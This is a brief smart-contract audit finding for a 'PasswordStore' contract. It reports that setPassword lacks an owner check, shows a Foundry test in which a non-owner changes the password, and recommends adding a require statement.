First Flight #1: PasswordStore

Summary

Non-owner of the contract is allowed to set a new password.

Vulnerability Details

setPassword does not check if msg.sender = s_owner.

Impact

Anyone can set a new password which defeats the purpose of this contract.

Tools Used

Forge test on this function:
function test_non_owner_can_set_password() public {
vm.startPrank(address(1));
string memory fakePassword = "New Password But Not Owner's";
passwordStore.setPassword(fakePassword);
vm.startPrank(owner);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, fakePassword);
}

Recommendations

Add a require or if statement like the one in getPassword.